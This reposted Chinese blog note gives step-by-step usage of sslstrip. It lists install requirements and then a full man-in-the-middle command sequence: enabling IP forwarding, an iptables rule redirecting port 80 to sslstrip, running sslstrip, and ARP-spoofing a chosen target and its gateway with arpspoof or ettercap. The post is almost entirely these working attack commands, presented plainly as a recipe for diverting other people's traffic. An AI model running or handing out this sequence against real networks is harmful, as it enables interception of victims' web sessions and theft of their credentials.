您的位置:首页 > 理论基础 > 计算机网络

SSLSTrip--Usage

2014-03-23 20:11 302 查看
内容来自网络加上自己的一点编辑,

Requirements:
Python >= 2.5 (apt-get install python)
The python "twisted-web" module (apt-get install python-twisted-web)
Setup:
tar zxvf sslstrip-0.9.tar.gz
cd sslstrip-0.9
(optional)
sudo python ./setup.py install
Running sslstrip:
Flip your machine into forwarding mode.
echo "1" > /proc/sys/net/ipv4/ip_forward
Setup iptables to redirect HTTP traffic to sslstrip.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>
Run sslstrip.
sslstrip.py -l <listenPort>
Run arpspoof to convince a network they should send their traffic to you.
arpspoof -i <interface> -t <targetIP> <gatewayIP>或者是换成ettercap
ettercap –T –q –M arp:remote /要欺骗IP/ /网关路由/
That should do it.

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  网络 ssl traffic